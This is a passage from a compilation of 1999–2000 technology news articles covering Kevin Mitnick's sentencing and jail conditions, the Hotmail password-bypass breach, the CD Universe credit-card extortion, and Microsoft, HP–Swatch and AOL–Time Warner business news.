$4,125 in restitution. + +But Mitnick, 35, who has been in jail since February of 1995 for breaking +probation on an earlier conviction and fleeing authorities, will likely be +released from custody by early next year after receiving credit for time +served. + +U.S. District Judge Mariana Pfaelzer sentenced Mitnick before a packed +courtroom that included his father Alan Mitnick and dozens of his +supporters, many of whom believe that the notorious hacker is being +punished by the government to set an example to other potential hackers. + +Pfaelzer, who said that Mitnick would be ``impossible'' to monitor by +probation officials once he was released from custody, banned him from +using computers or the Internet for the next three years. + +She called the $4,125 in restitution a ``token'' amount given the damage +she said he inflicted on companies whose computers he infiltrated such as +Motorola and Sun Microsystems Inc. (Nasdaq:SUNW - news) But said she was +imposing the fine because she wanted to set an amount that she could +require him to pay as a condition of his +release. + +``I want to make a restitution order that is much, much larger,'' she said. +``But I can't be sure he can pay it, and any non-payment is going to be a +violation of the terms of his release.'' + +------------------------------------------------------------------------------- + +Mitnick Could Go Free in January +by Douglas Thomas + +3:00 a.m. 10.Aug.99.PDT +LOS ANGELES -- US District Judge Marianne Pfaelzer on Monday sentenced convicted +cracker Kevin Mitnick to 46 months in prison and ordered that he pay restitution in the amount +of US$4,125 during his three-year period of supervised release. + +The figure is substantially lower than the government's request of $1.5 million. + +Mitnick, who turned 36 on Friday, will likely serve the remainder of his +sentence at Nellis Federal Prison Camp, just outside of Las Vegas, Nevada. The +celebrity cracker pleaded guilty to seven counts of wire and computer fraud in +two separate federal indictments. + +Monday's sentencing hearing marked the end of Mitnick's legal difficulties, +since California prosecutors have elected to drop the remaining charges pending +against him. + +More than 50 spectators attended the two-hour hearing, including fellow hackers +and reporters. Even a crew member from the upcoming film about Mitnick and his +hacking exploits, Takedown, was there to show his support. + +Most of the time was spent arguing over the amount of restitution. + +Defense attorney Don Randolph argued that the process was "tainted." Citing +examples from the WELL and Colorado Super Net (CSN), he claimed the government +had participated in the "manipulation and inflation of loss figures," engaging +in "highly inappropriate" actions. + +In one case, Randolph says prosecutors used an anonymous email to calculate the +loss. CSN estimated the damages associated with hacking at $207,000, but +provided no evidence to support the figure. + +Moreover, the defense claimed that the government's solicitations for damage +estimates were akin to witness tampering. According to a prepared statement +released by Randolph's office, "A defense investigation recently unearthed +documentary evidence demonstrating that the government manipulated the 'loss' +amount for its own purposes, including detention without bail." + +Randolph's request for a formal investigation was denied by Pfaelzer, who also +refused to impose sanctions against government attorneys. + +Copyright 1994-99 Wired Digital Inc. All rights reserved. + +------------------------------------------------------------------------------- + +LOS ANGELES -- Convicted hacker Kevin Mitnick sustained minor head and neck +injuries Wednesday morning in a multi-car accident while he was being +transferred to a facility that satisfied his dietary requirements. + +Mitnick, being transferred in anticipation of a court ruling which would order +Mitnick moved to a facility that served kosher meals, was thrown against a metal +divider. + +Mitnick and an unknown number of other inmates -- shackled in chains but with no +safety restraining devices -- were being transported from the San Bernardino +Jail to the Los Angeles Metropolitan Detention Center. The crash occurred on +Highway 60 between 8:30 and 9 a.m. + +"I really slammed my head when I hit the metal divider," Mitnick said in a +telephone interview on Thursday. + +X-rays proved negative, although Mitnick continues to complain of headaches, +nausea, and shoulder and neck pain. + +Insult soon added to his injuries: After spending several hours waiting to be +admitted to the MDC, Mitnick was transferred back to the San Bernardino +facility, which does not serve kosher food. + +Mitnick wound up spending most of Wednesday night waiting on the floor of a +holding cell to be readmitted. He was finally booked into the facility at +3:30 a.m. Thursday. + +Mitnick said he has yet to be seen by a San Bernardino facility nurse, and has +had no access to any painkiller, including Tylenol. "I don't think they have +any idea what happened," Mitnick said, referring to the lack of medical +attention. + +Although unwilling to comment on legal action regarding the accident, Mitnick's +attorneys did say that they immediately sent a letter to the U.S. Marshals +Service requesting that Mitnick be moved to a federal facility. They say a +federal facility could provide him access to kosher food and to medical +treatments in keeping with federal guidelines. + +U.S. Marshals were unavailable for comment. + +"This has definitely been one of the worst days in custody," Mitnick said. + +------------------------------------------------------------------------------- + +Life Not Kosher for Mitnick +by Douglas Thomas + +12:15 p.m. 18.Aug.99.PDT +Jailed computer hacker Kevin Mitnick wants out of his current facility because +it doesn't serve kosher food. + +Mitnick wouldn't eat for the first two days of his stay at the San Bernardino +County Detention Center after being transferred there from the Los Angeles +Metropolitan Detention Center. + +He only recently began eating the jail's vegetarian meals, which it offers as +a substitute. But those meals don't meet rabbinical standards. + +Mitnick insists that maintaining a kosher diet is extremely important to him. + +"This is a violation of my constitutional rights," Mitnick said. "I'm being +forced into a situation where I have to violate my religious beliefs or starve." + +Complicating the move, Mitnick said, is that his MDC-stored money won't be +available for several weeks, making it impossible for him to buy commissary +food. In addition, he said, prices are triple what they were at the old +facility. + +Mitnick's rabbi, Aaron Kriegal, and the rabbi for the San Bernardino County +Detention Center, Hillel Cohn, confirmed that the SBCDC does not serve kosher +meals to Jewish inmates. + +"Does it make life more difficult? Yes," Cohn said. "But being in prison is +difficult. It wasn't meant to be a country club. There are some sacrifices +inmates have to make." + +Cohn said returning Mitnick to Los Angeles would "make life easier" for Mitnick, +but did not believe that the move was likely. + +"This is not the first request we've had to have an inmate transferred for +this reason," Cohn said. + +At sentencing, Mitnick's attorney failed to persuade US District Judge Marianne +Pfaelzer that Mitnick serve his time at the MDC to ensure his access to kosher +meals. + +Currently, Mitnick shares one large cell with approximately 60 other inmates, +each of whom is issued a small mattress, sheet, and blanket. The cell contains +one toilet and one shower, each in open view of the cell. + +Mitnick calls the conditions "dehumanizing." + +Mitnick is expected to spend four to six weeks at the San Bernardino facility +while awaiting final designation, most likely to Nellis Prison Camp just outside +of Las Vegas. + +Mitnick's attorneys have filed a motion with the court requesting that he be +transferred back to the MDC until the Bureau of Prisons decides where he will +serve the remainder of his 46-month prison sentence. + +Because of previous time served, Mitnick is expected to be released in +January 2000. + +------------------------------------------------------------------------------- + +Hacker attack freezes free e-mail accounts. +By John Schwartz +WASHINGTON POST + +Millions of users of Microsoft Corp.'s free Hotmail e-mail service send out +messages every day that bear the service's ubiquitous tag: "Get your private, +free e-mail at http://www.hotmail.com." + +On Monday, it wasn't exactly as described. + +Microsoft had to shut down the Hotmail service for several hours Monday to fix +a major computer security hole: Malicious hackers created World Wide Web sites +that allowed anyone unfettered access to any Hotmail account. Visitors to the +sites could assume the identity of any Hotmail user merely by knowing the +user's sign-on, ganing power to read private e-mail and send out mail under +the user's name. Password protection went out the window. + +"It's a huge thing," said Alberto Gaitan, an Arlington, Va., computer programmer +who heard of the security flaw early Monday morning and discovered to his horror +that the sites actually worked. "I went to my account and accessed it through +this Web page without having to enter a password. So I knew that it was true. +I went through and deleted all my mail." + +It remained unclear Monday night who had launched the attack or how many e-mail +accounts were illicitly accessed. At least one of the Web sites offerring the +access was located in Sweden. + +Hotmail, a company Microsoft acquired in 1997, was an early entrant into free +e-mail services. Users don't need to buy or download special software, because +mail is handled completely through Web browsers such as Netscape Navigator or +Microsoft's Internet Explorer. Hotmail is free because the company charges +advertisers whose messages are shown to the enormous pool of customers. + +Microsoft claims there are 40 million users, including 2.5 million in Canada, +but in fact the number of actual users is far lower, as many people have +multiple accounts, picking them up and discarding them on the fly. + +The problem was reported Monday by a Swedish publication, Expressen. Microsoft +shut down access to Hotmail accounts several hours after being notified of +the problem early Monday morning, turning off the service for several hours +while it fixed the problem, said company spokeswoman Kimberly Bouic. + +The hackers did not actually break into Microsoft's mail computers and change +features there, Bouic said; instead, they took advantage of an existing flaw +in the software running the mail service -- "a formerly unknown issue that the +hacker exploited." + +That allowed a half-dozen lines of computer programming code to lay open every +user account on Hotmail. + +"It's pretty cute," said Peter Neumann, a computer security expert with the +research firm SRI International. But Neumann argued that Hotmail's woes simply +show deep security problems that exist throughout the Internet. + +"This is just one more instance of the fact that the fundamental infrastructure +is full of holes.... Things aren't designed to be secure, so how can you expect +them to be secure?" + +Microsoft, Neumann said, is not necessarily less security-conscious than other +companies, but the software behemoth's position in the market means that the +company provides more targets for hacking, and any bugs get more attention than +those that lesser companies might. "There are a lot of fleas on the 500-pound +gorilla," Neumann said. + +Anti-Microsoft sentiment also had a role to play in the new attack, speculated +Mark Rasch, a former federal prosecutor now with Global Integrity Corp., a +computer security company. "Microsoft is inherently a target, because it's +Microsoft," Rasch said. + +------------------------------------------------------------------------------- + +Hotmail Accounts Exposed to All +by Declan McCullagh and by James Glave + +8:05 a.m. 30.Aug.99.PDT +No sooner was one catastrophic security flaw closed Monday -- one that exposed +millions of Hotmail accounts to prying eyes -- when another one appeared. + +The net result: Hotmail account holders were in danger of having their email +messages read -- as well as being impersonated in email -- until midday Monday. + +The first breach was closed Monday at around 9 a.m. PDT, when Hotmail restored +access to legitimate subscribers. + +The second breach -- a variation of the first -- may have been the result of +one Hotmail machine that evidently was not fixed when the others were. + +The significance of these security holes is that private Hotmail accounts +became available to anyone with a Web browser. Most security vulnerabilities on +the Internet require in-depth knowledge of Unix or Windows NT language, +technical knowledge that the average Web user does not possess. + +The bug appears to have affected every customer of what Microsoft says is "the +world's largest provider of free Web-based email." + +Between 8:30 and 9 a.m. PDT, Microsoft pulled the plug on large portions of +the entire Hotmail site, rendering it unreachable for millions of subscribers. +During that period, the only access to Hotmail accounts could be made through +illicit means -- by those who had access to a simple code that was spread wildly +on the Net over the weekend. + +That was about 12 hours after the company was notified of the security hole. But +users already logged in to their accounts -- or someone else's -- could continue +to send, receive, and delete email. + +Around 9:30, sections of Hotmail began to slowly come back online. By that time, +people without Hotmail accounts could connect to the site's homepage. Users with +accounts configured to remember their password, however, received this unhelpful +message: "ERROR: Cannot open UserData file." + +As of 10:15 a.m., Microsoft engineers, led by Mike Nichols in Redmond, +Washington, had managed to fix that problem, too, and users could log in +normally again. Yet there still was no reference to the problem anywhere on +either the Hotmail or MSN sites. + +A unnamed Microsoft spokeswoman could not offer any explanation for the problem. +She said that the company took down the Hotmail servers as soon as the company +was notified of the problem by the European press Monday morning. + +She said Monday morning that the company had resolved the issue so that future +attacks of this type would not be possible. That has not proven to be the case. + +The exploit worked this way: Any Web page that contained a short, simple code -- +visible on most browsers as a type-in form -- was able connect to a Hotmail +server simply by typing in a user name without requiring a password. + +By early Monday, copies of that HTML code were posted on hacking-related Web +sites. + +The Hotmail exploit apparently took advantage of a bug in the start script that +processed a login session between a Web browser and a server. + +One site where the problem surfaced was at 2038.com, which Network Solutions +shows registered to Moving Pictures, a group based in Sweden. Erik Barkel, the +contact associated with that domain, could not be reached for comment. + +As of about 8:30 a.m. that site redirected to a Web page promoting a marketing +company. + +The managers of that company said they had nothing to do with the redirect. +"It's just a point[er] put there by a person who's trying make a joke," said +Anders Herlin, business development manager at Abel and Baker. "We haven't had +the slightest idea why." + +"All I know is we do not want to be associated with it," said Herlin. "We are a +fairly new company. Maybe someone wanted to cause us harm." + +But the code quickly spread to dozens, if not hundreds of sites. + +A Swedish newspaper, Expressen, reported the bug in its Monday editions. The bug +let anyone log into a Hotmail account without typing a password. + +"We know nothing about [the individual who tipped us]. It was anonymous," said +Christian Carrwik, one of two Expressen reporters who broke the news. "It has +been circulating for a couple of days." + +Expressen said Microsoft was alerted very early Sunday morning. + +This is only the most recent Microsoft security gaffe. + +Redmond admitted earlier this month that its MSN Messenger instant messaging +client can accidentally disclose Hotmail account passwords. Even if the +password is supposedly deleted from a computer, someone else could still +view it if they knew the proper keystrokes. + +Last week, Wired News reported a bug in tens of millions of Microsoft Windows +computers that lets an attacker take control of a PC by sending an email +message. + +Lindsey Arent contributed to this report. + +Copyright 1994-99 Wired Digital Inc. All rights reserved. + +------------------------------------------------------------------------------- + +Hotmail Fallout: A Mere Trickle +by Craig Bicknell + +3:00 a.m. 31.Aug.99.PDT +The blas‚ outnumbered the rudely shocked Tuesday morning, a day after the +email accounts of some 50 million Hotmail subscribers were laid bare to the +world. + +The dwindling few who believed Net-based email was a secure proposition are +doubtless feeling exposed after some crackers exploited a huge hole in the +free service -- even after Microsoft finally plugged it later on Monday. + +What will the fallout be on the Microsoft end? Likely not much, said business +analysts, lawyers, and even some Hotmail users. + +Analysts quickly dismissed the security gaffe as little more than a public +relations headache for Microsoft. + +While the company may be a big player in online services, its towering market +cap is built on the solid-gold foundation of software sales, not free email. + +"Microsoft is into so many things," said Frederick Dickson, an analyst at +brokerage firm Branch Cabell. "This is one very small aspect of their overall +business." + +After the news broke Monday, Microsoft's stock dipped just 1 percent, +considerably less than most of its tech-stock kin on a down day for the Nasdaq. + +In the long term, it's harder to quantify the costs to lost privacy and trust +among Microsoft customers, analysts said. + +"Online services is an area where they want to go head to head with AOL," said +Steve Shepich, an analyst with Olde Discount Brokers. "Email is a major part of +what they have to offer, and new users might be hesitant to [switch over] if the +email is not secure." + +Still, skittish users are just as likely to get burned at any other Web email +service, experts said. + +"They're inherently insecure," says Peter Neumann, a researcher at SRI +International who keynoted last week's Usenix security conference. "To single +this one out and say that it's unsafe is unfair to everything else that's +unsafe." + +Indeed, some current Hotmail users, while irked by the breach, seem to believe +they're better off sticking with Microsoft's service than heading elsewhere. + +"I'll continue to use it, because I imagine they'll fix this problem straight +away," said Chas Warren, a 38-year old former webmaster. "If one [service] can +be hacked, so can the others." + +Nevertheless, Warren said he was shocked by the extent of the breach and expects +it will be a while before he uses Hotmail to send anything confidential. + +Ditto, said Lydia Sharp, a 25-year-old Web industry professional in Atlanta. +"I'd still use it for real trivial stuff. I wouldn't use for it invoices or +anything." + +Other free email providers acknowledged that security is a big issue but weren't +too keen to talk about how they'd prevent similar breaches. + +"Obviously, this is something important to any Net-based email service," said a +Yahoo spokesman, referring to Yahoo Mail. "We don't discuss security measures +because they're security measures. To our knowledge, we've never had a problem +like this before." + +Those who did use Hotmail for sensitive stuff and got burned will have an +awfully hard time seeking legal redress from Microsoft. In its terms of service +agreement for Hotmail, Microsoft clearly states it's not liable for unauthorized +access to users' data. + +While that doesn't offer carte blanche protection against litigation, it raises +the bar to nosebleed height, lawyers said. + +In the end, the biggest impact of the incident may be to alert the slumbering +masses that Net privacy is a big-time issue. + +"This is a wake-up call for the industry," Marc Rotenberg, executive director +of the Electronic Privacy Information Center. + +"A privacy meltdown with Hotmail is a reminder that privacy issues are only +going to get more serious," Rotenberg said. "A lot of people are trying to +decide if privacy is going to get more important online -- I think 50 million +users of Hotmail are going to have a pretty strong opinion about that today." + +Yup. + +"I feel like I've been bent over the table by hackers, had my pants lowered to +my ankles, and Vaseline smeared all over my [expletive] while the great staff +of Hotmail tied my hands together with a sturdy piece of rope," wrote a Hotmail +user who was afraid messages with his credit card number had been exposed. + +Copyright 1994-99 Wired Digital Inc. All rights reserved. + +------------------------------------------------------------------------------- + +Hotmail Hackers: 'We Did It' +by James Glave + +4:00 p.m. 30.Aug.99.PDT +A previously unknown group known as Hackers Unite has claimed responsibility for +publicizing Hotmail's security breach, which Microsoft vehemently denied was the +result of a backdoor oversight. + +The group of eight hackers said Monday through a spokesman that they announced +the hole to the Swedish media to draw attention to what they say is Microsoft's +spotty security reputation. + +The stunt exposed every Hotmail email account, estimated to number as many as +50 million, to anyone with access to a Web browser. + +"We did not do this hack to destroy, we want to show the world how bad the +security on Microsoft really is, and that company nearly have monopoly on [all] +the computer software," a 21-year-old Swedish member of the group said Monday. + +Gothenburg resident Lasse Ljung, who goes by the nickname of DarkWing on +Internet relay chat, said he was speaking on behalf of Hackers Unite. IRC is a +real-time chat network commonly used by hackers and crackers to communicate and +plan their activities. + +Ljung said that Hackers Unite is composed of one Swedish citizen and seven +Americans. The group declined to communicate directly with Wired News, which +could not positively confirm their identities. + +The handful of lines of simple HTML code that constitute the exploit took +advantage of a Hotmail login script called "start" that is not currently used +on the Hotmail welcome page, and the password "eh." + +After examining that code early Monday, outside security experts suggested that +the problem might have been a backdoor inadvertently left open on Hotmail +servers by Microsoft engineers. + +Microsoft vehemently denied the backdoor suggestions, and instead described the +problem as "an unknown security issue." + +"There is nothing to these allegations [of a backdoor in Hotmail," said MSN +marketing director Rob Bennett. "It is not true. Microsoft values the security +and privacy of our users above all." + +However, Jon Thompson, administrator of one of the sites that hosted the Hotmail +exploit, told MSNBC.com that his associates had known about the vulnerability -- +and had access to Hotmail accounts -- for about eight weeks. + +Thompson told MSNBC.com, an MSNBC partner, the culprit was MSN's new Passport +service, which allows users to log in once and click between MSN Web sites. +He said Hotmail had been vulnerable since MSN launched Passport in beta form. + +Deanna Sanford, lead project manager for MSN, told MSNBC.com the flaw was not +related to Passport but added she did not know how long the vulnerability had +existed. + +Bennett said the company began scrambling to fix the problem at 2 a.m. PDT and +had the initial fix up at 10 a.m. A subsequent variant of the problem was fixed +around noon. + +The second problem was a result of the company "getting the fix propagated to +all the Hotmail servers," he said. + +"We are manually going from machine to machine to make sure all the fixes are +there." + +Bennett said the start script in question is used in some other areas of the +site other than logging in users. He said they had plugged the problem with +the script. + +What is known, however, is that the Hotmail problem is likely the most +widespread security incident in the history of the Web. The private email +accounts of some 50 million people were open to browsing by anyone. + +The incident did not faze Wall Street. In late afternoon trading, Microsoft +stock was at US$92.25, down one point. + +Copyright 1994-99 Wired Digital Inc. All rights reserved. + +------------------------------------------------------------------------------- + +Did MS Dig Its Hotmail Hole? +by James Glave + +12:05 p.m. 30.Aug.99.PDT +The Hotmail security hole may have been an intentional backdoor that Microsoft +built into its system for maintenance purposes, security experts said. + +Monday's exploit, which opened Hotmail accounts to any casual user, apparently +took advantage of a hidden login script. The script may have been either old +code left on the server by mistake, or long-forgotten script used for production +purposes. + +"From an outsider's perspective this appears to be some type of backdoor," said +Kit Knox, a systems administrator who maintains the Rootshell archive of +security exploits. + +"It looks like something that was used for testing or service that probably +got out," he said. "I can't verify what goes on because they have disabled +everything on the site." + +The hidden script sent the password "eh" to a Hotmail login script called +"start." That script differs from "dologin," the normal program running on +the welcome page that logs Hotmail users into the site. + +"It is possible that non-production code was left on their servers by mistake," +said Knox. + +One network security specialist said that backdoors are all too common in Web +sites because the site owners do not think anyone will find them. + +"There is the belief that security can be achieved through obscurity," said +Peter Shipley, chief security architect with KPMG. + +A lot of companies I have dealt with -- while doing security audits -- I have +seen backdoors, and they said, 'No one will find that.'" + +"But someone will find it by accident, or someone will know about it, or a +disgruntled employee will leave the company with the knowledge of how to do it," +Shipley said. + +A Microsoft spokeswoman could not offer any explanation for the problem. She +said that the company took down the Hotmail servers as soon as the company was +notified of the problem by the European press Monday morning. + +She said the company has resolved the issue so that future attacks of this type +would not be possible. + +Although she said Microsoft received the message Monday morning, she was not +certain when it had been sent. The company is composing a letter to users that +it will post on the Hotmail site Monday afternoon. + +She did not know how long Hotmail users had been vulnerable. + +The identity of the individual or group who discovered the backdoor remains +unknown. At least one member is likely to be Swedish because the Swedish +press was the first to be alerted to the problem. + +In an Internet relay chat interview, a Swedish lighting technician who lives in +the city of Gothenburg and identified himself as DarkWing claimed that a similar +backdoor was discovered in Hotmail six months ago. He said Hotmail closed that +hole, which was never made public, in a site redesign about six months ago. + +Copyright 1994-99 Wired Digital Inc. All rights reserved. + +------------------------------------------------------------------------------- + +Microsoft moving beyond the PC +Computer Goliath has a new consumer strategy -- it wants everything +By Michael Martinez +ASSOCIATED PRESS + +REDMOND, Wash. -- Microsoft chairman Bill Gates wants to send you an e-mail to +let you know when your laundry's done. + +Or, for that matter, when your stock is sold, your cat needs to see the vet +again or your dishwasher needs repairs. + +And he wants to send you that e-mail wherever you happen to be at the time, on +whatever device is handy, whether that's your personal computer, hand-held +organizer, cell phone or, less likely, your toaster oven. + +This interconnected world is at the heart of a new strategy at Microsoft Corp. +-- one that doesn't rely on the PC software that made Microsoft the most +valuable company on the planet. + +"I wouldn't say that the PC is dead," said Craig Mundie, Microsoft's senior +vice-president in charge of consumer strategy. "People have been saying that +for years. But I think it's safe to say that people are going to start looking +for new ways to access and keep their data in addition to, or in ways that +complement, the PC." + +Microsoft's new strategy, called "PCplus" by company insiders, is just making +its public debut, but actually it's more than a year in the making. It has +three main areas: giving everyday devices computing power, providing the +software to allow those devices to communicate, and investing heavily to help +build wireless and high-speed Internet access throughout the world to link it +all together. + +Microsoft envisions a home where everyday appliances and electronics are +"smart." Microsoft executives talk about VCRs that can be programmed via +e-mail, clothes washers that send an instant message to the home computer when +the load is done and refrigerators that will send an e-mail when there's no +more milk. + +To do that, Microsoft had to do two things: give electronics and appliances +"brains," and give them the means to talk to each other. + +The first part will be accomplished by a new version of its Windows CE operating +system. Microsoft has nearly rewritten the entire program, making it less +memory intensive and relying more on basic functions. + +Windows CE is already used in cable set-top boxes and will be the vehicle for +other devices and services. Already, Microsoft has TV set-top boxes and +prototypes of new "Pocket PC" handhelds and "Web companion" Internet-only +terminals. + +Getting these devices connected to each other, and to the Internet, will be +done through the Microsoft Network, which has been a commercial flop. + +Last October, veteran Microsoft executive Brad Chase took over MSN and shook +things up. The Sidewalk.com city guides were sold off, other information sites +were shut down, and Chase started focusing on Internet services such as e-mail, +shopping, password storage and instant messaging. + +The newest version of MSN for cellular phones, for example, links those phones +to MSN's Hotmail, allowing a user to have a single e-mail address for his or +her PC, Web companion, cell phone and WebTV box. + +No other company has offered such an easy solution for ubiquitous computing +over such a range of devices, Chase said, and that's where Microsoft's strength +will become apparent. MSN and the Internet will be the common language used by +any device to talk with any other device. + +Microsoft has also taken a heavy financial interest in the "pipes" of the +Internet, investing more than $8 billion US to ensure it will have a channel +to deliver enhanced products in the future. The biggest such investment was +a $5 billion stake in AT&T, in return for a guarantee that Windows CE would be +used in 10 million AT&T set-top boxes. + +Microsoft's Recent Deals + +Dec. 8, 1999 -- Microsoft and Ericsson announce a partnership to develop +software for wireless Internet access. They will build software to take +advantage of Microsoft's server software and Ericsson's wireless systems. + +Nov. 15, 1999 -- Microsoft makes an undisclosed investment in Korea Telecom +Freetel. The telecom company will bring Microsoft's MSN wireless Internet +services to its 4.2 million customers. + +Nov. 12, 1999 -- Microsoft makes another undisclosed investment in Tawain +broadband Internet service provider GigaMedia. The two will create and market +a co-branded broadband Web site and e-commerce site. + +Nov. 5, 1999 -- Microsoft invest $200 million in wireless high-speed Internet +provider Teligent Inc., based in Vienna, VA., to build local wireless networks. + +Oct. 26, 1999 -- NTT Mobile Communications Network, Japan's largest mobile +communications operator, enters into a joint venture with Microsoft. The new +company, called Mobimagic Company Ltd., will develop and market new Internet +services for NTT's mobile computing customers. + +Sept. 8, 1999 -- Microsoft invests $175 million in a joint venture between +Softbank Corp. and Global Crossing Inc. The new company, Asia Global Crossing, +will increase broadband connections in Asia. + +Sept. 7, 1999 -- United Global Communications gives Microsoft a minority stake +in the company for $219 million. United is the largest global broadband +communications provider, with 20 offices worldwide. + +Aug. 16, 1999 -- Microsoft invests $126 million in Globo Cabo S.A., the leading +cable TV operator in Brazil, with 4.5 million homes connected. The companies +will focus on bringing interactive TV and high-speed Internet connections to +Globo Cabo's customers. + +July 21, 1999 -- Microsoft announces it had acquired U.K.-based SNTC, developer +of communication software for the wireless market. The purchase price was not +disclosed. + +July 12, 1999 -- Rogers Communications Inc., Canada's largest cable TV company, +gets a $400 million US investment from Microsoft. Rogers agrees to license +Microsoft software for up to one million TV set-top boxes across Canada. + +------------------------------------------------------------------------------- + +COMDEX Coverage +HP + Swatch= Web Watch +15 November 1999 + +Your wristwatch will soon do a lot more than tell time. Hewlett-Packard and +Swatch Group recently forged a revolutionary technology partnership to build +the world's first wristwatch that delivers on the promise of the Internet. + +"Swatch will now be more than just a fashion statement, more than just a +reliable timepiece. You'll be able to access e-services through it," said HP +Chief Executive Officer Carly Fiorina. Fiorina announced the partnership during +her speech at COMDEX '99 on November 15. + +[Why didn't they just put the technology into sneakers instead?] + +The watch will incorporate technology developed at HP Laboratories that supports +the company's vision of a world where people simply plug into a rich array of +Internet-based information and services -- from a whole new breed of devices and +appliances, including watches. "The watch is an ideal way to stay connected to +the Net because everyone has one and wears it willingly," said Mark Smith, who +leads the technology project at HP Labs and will be working with Swatch to +design the Web-surfing watch. "You put it on in the morning and go about your +business with no concerns." + +[No concerns? I have more than a few.] + +The watch is the first of the next-generation "context-aware" Web devices being +developed at HP Labs. Although initially the appliances will require a password +or PIN, eventually they will use biometrics (fingerprint, iris, face or voice +recognition) to identify the user. They'll use GPS or other positioning +technology to determine location. And they'll contain sensors that will provide +information (temperature, light, sound, motion) --about the environment. + +Users control how much information they share about themselves. + +[How generous of HP and Swatch to allow the *users* to have control.] + +One context-aware device in the works at Labs is BadgePAD, a smart badge that +might be used in a work setting. In a hospital, for instance, doctors could +pick up a BadgePAD when they arrive at work. The badge would know what's going +on around the physician because Web servers would be embedded throughout the +facility. Everyone else -- nurses, orderlies, technicians, administrators and +even patients -- would also wear the badges. + +In that setting, the hospital records system would recognize a doctor when she +entered the patient's room and relevant charts would automatically pop up on +the computer screen. If someone approached the screen who wasn't authorized to +see the patient information, it would go blank. The BadgePAD would know when +the doctor put it down and, if someone else picked it up, it would have a whole +different set of e-services personalized for that person. + +Because these devices are so smart and personalized, they're easy to use. + +"No pointing, clicking, dragging, dropping, connecting or configuring," said +Smith. "It just works." + +------------------------------------------------------------------------------- + +GM, Ford link up with AOL, Yahoo! + +DETROIT -- The world's two largest automakers announced new alliances with +Internet companies Sunday, the latest in a string of deals between the online +world and major corporations. + +General Motors Corp. said it plans to use America Online's redesigned Auto +Channel to let AOL's 20 million members shop for GM cars and trucks. Sales +would be completed at a GM dealership. + +Ford Motor Co. announced it has partnered with Yahoo! to provide online services +for its vehicle owners. Jack Nasser, Ford president and CEO, said the deal is +a sign of the company's new Internet focus, a change he said would affect every +part of its business. + +"The world is moving online and we want to ensure that we meet consumers there, +meeting their needs in the virtual world as well as the physical world," Nasser +said. + +The Ford and GM deals follow a series of similar agreements involving large +retailers, including Wal-Mart Stores Inc. and Kmart Corp., and Internet players +such as Yahoo! and America Online. + +For the online companies, such deals give them a new outlet to advertise their +name and expose themselves to a new customer base. The traditional merchants, +meantime, gain well-known technology partners that can help them build their +own Internet businesses. + + ASSOCIATED PRESS + +------------------------------------------------------------------------------- + +Hacker Posts Credit Card Info +Wired News Report + +10:45 a.m. 10.Jan.2000 PST + +The FBI is hunting for a self-described cracker said to have posted 300,000 +stolen credit card numbers in a blackmail attempt gone bad. + +The hacker, believed to be located in eastern Europe, claims to have stolen +300,000 customer credit card numbers from the CD Universe store, The New York +Times reported Monday. After the store refused to pay him US$100,000, he +published the data on a Web site. + +The unidentified hacker, going by the alias Maxim, sent email messages to +the Times saying that he used credit card numbers to obtain money for himself. +He sent actual numbers to the paper as well, to prove the validity of his claim. + +The hacker distributed up to 25,000 of the stolen numbers during the last +two weeks, according to the reports. The site was shut down Sunday morning. + +When the site was operational, visitors could click on a link to obtain a credit +card number and the associated name and address of its holder. + +CD Universe and its parent company, eUniverse, are aiding the FBI's +investigation. + +"He definitely has CD Universe data," eUniverse chairman Brad Greenspan told +the Times. "Whether he hacked the site or got the data in some other way, I'm +not sure exactly." + +The hacker said he cracked into a database at CD Universe's Web site by way of +a software flaw, according to the report. He sent a fax last month to the +company asking for $100,000 in return for the destruction of the data. After the +company refused, he posted the numbers on Christmas Day to a Web site called +The Maxus Credit Card Pipeline. + +CD Universe said it was alerting customers and working with the credit card +companies to help those with stolen card numbers. + +Copyright (C) 1994-2000 Wired Digital Inc. All rights reserved. + +------------------------------------------------------------------------------- + +OPINION: AOL, meet Time Warner -- R.I.P. the Dot-com Era + +January 12, 2000 +Web posted at: 8:46 a.m. EST + +by Sean M. Dugan + +(IDG) -- Do you remember that semi-recent James Bond movie Tomorrow Never Dies? +The one with the Rupert Murdoch-like media mogul bent on ruling the world? Well, +I fully expect the next 007 villain to be a thinly veiled version of AOL's head +honcho, Steve Case. By this point, you've heard the news of American Online's +mega-merger with media powerhouse Time Warner. In what amounts to the biggest +merger in history -- at least for the moment -- AOL has bought Time Warner for +$190 billion in stock. This is the part of this deal that you should pay +attention to. All the talk of a "merger" really obscures the key fact that AOL +did the real buying. AOL stockholders will have 55 percent of the new AOL Time +company and Steve Case will ascend the throne to become chairman of the +behemoth. AOL swallowed Time Warner. + +The world has truly changed. Do the math, and you'll find the new AOL Time +Warner easily jumps into the Fortune 100 list. And given AOL's recent rate of +revenue growth, expect it to climb that ladder rapidly. Welcome to the end of +the Dot-com Era. + +It all started when a scrappy little start-up named Netscape debuted on the +market in 1995 to a then-stunning single-day gain. The Internet Dot-com Era of +over-valued tech stocks had begun. Like a license to print funny money, the +mind-bogglingly high valuations of tech companies eventually gave them the +ability to buy old-school companies in stock-trade deals. Now we've reached a +turning point as the new dot-com companies consume the old, creating a new +definition of a company for the 21st century. Essentially, we've seen the +creation of a new-old media company, one that has institutional maturity and +at the same time has staggering growth potential. + +So what does it all mean, besides boggling the minds of those of us who remember +when you couldn't send AOL e-mail over the Internet but only to other members? +Well, you can bet there'll be a flurry of mergers in the post AOL-Time world, as +media and ISP rivals scramble to fortify themselves against this new behemoth. +AOL-Time presents an imposing presence, covering access to content effectively. +The media landscape has certainly tilted in the way that San Francisco tilted +in 1906. You can bet that Time Warner properties such as, well, Time, +Entertainment Weekly, Sports Illustrated, etc., will become tightly integrated +with AOL's media properties. Also expect to see lots of Warner Brothers movies +and the WB's TV shows where the characters prominently use and just love their +AOL ("Dawson and Buffy, you've got mail..."). + +Time Warner squandered the brand of dozens of media properties with the +ill-conceived Pathfinder site, which finally had the plug pulled this year. It +ranks as one of the greatest Internet fumbles. Now we see a company that +specializes in leveraging content on the Web, purchasing the content-creation +machine of one of the world's largest media organizations. Perhaps the message +here is that if your company flubs its Internet play and can't figure it out, +expect to get bought up by the company that does it right. + +It looks like AOL is well on its way to ruling the world. That's a message that +should both shake and stir the Internet strategist of any company. + +(C) 2000 Cable News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + +AOL could change stance on cable access, FCC official says + +January 13, 2000 +Web posted at: 8:49 a.m. EST (1349 + +by Jennifer Jones + +(IDG) -- In light of its merger with Time Warner, America Online may have a +change of heart on its stance that government action is needed to open up the +broadband cable industry, Federal Communications 